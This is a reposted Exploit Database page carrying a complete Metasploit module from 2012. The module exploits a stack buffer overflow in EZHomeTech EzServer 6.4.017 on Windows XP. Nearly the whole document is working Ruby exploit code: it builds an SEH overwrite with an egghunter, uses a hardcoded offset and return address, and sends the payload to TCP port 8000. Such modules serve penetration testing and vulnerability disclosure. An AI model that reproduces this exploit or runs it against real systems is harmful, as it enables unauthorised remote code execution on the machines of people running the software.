EZHomeTech EzServer 6.4.017 – Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2012-06-19
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/19291/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Egghunter
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability',
  			'Description'=> %q{
  				This module exploits a stack buffer overflow in the EZHomeTech EZServer. If a malicious
  				user sends packets containing an overly long string, it may be possible to execute a
  				payload remotely. Due to size constraints, this module uses the Egghunter technique.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'modpr0be<modpr0be[at]spentera.com>' # Original discovery and Metasploit module
  				],
  			'References' =>
  				[
  					[ 'EDB', '19266' ],
  					[ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ]
  				],
  			'DefaultOptions' =>
  				{
  					'ExitFunction' => 'seh'
  				},
  			'Platform' => 'win',
  			'Payload'=>
  				{
  					'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",
  					'DisableNops' => true
  				},
  			'Targets'=>
  				[
  					[ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',
  						{
  							'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll
  							'Offset' =>	5852
  						}
  					],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Jun 18 2012',
  			'DefaultTarget'=> 0))
  
  		register_options([Opt::RPORT(8000)], self.class)
  
  	end
  
  	def exploit
  		connect
  		eggoptions =
  		{
  			:checksum => true,
  			:eggtag => "w00t"
  		}
  
  		hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
  		egg = hunter[1]
  		buff = rand_text(target['Offset'] - egg.length) #junk
  		buff << egg
  		buff << make_nops(32)
  		buff << generate_seh_record(target.ret)
  		buff << make_nops(16)
  		buff << hunter[0]
  		buff << rand_text_alpha_upper(500)
  
  		print_status("Triggering shellcode now...")
  		print_status("Please be patient, the egghunter may take a while..")
  
  		sock.put(buff)
  
  		handler
  		disconnect
  
  	end
  end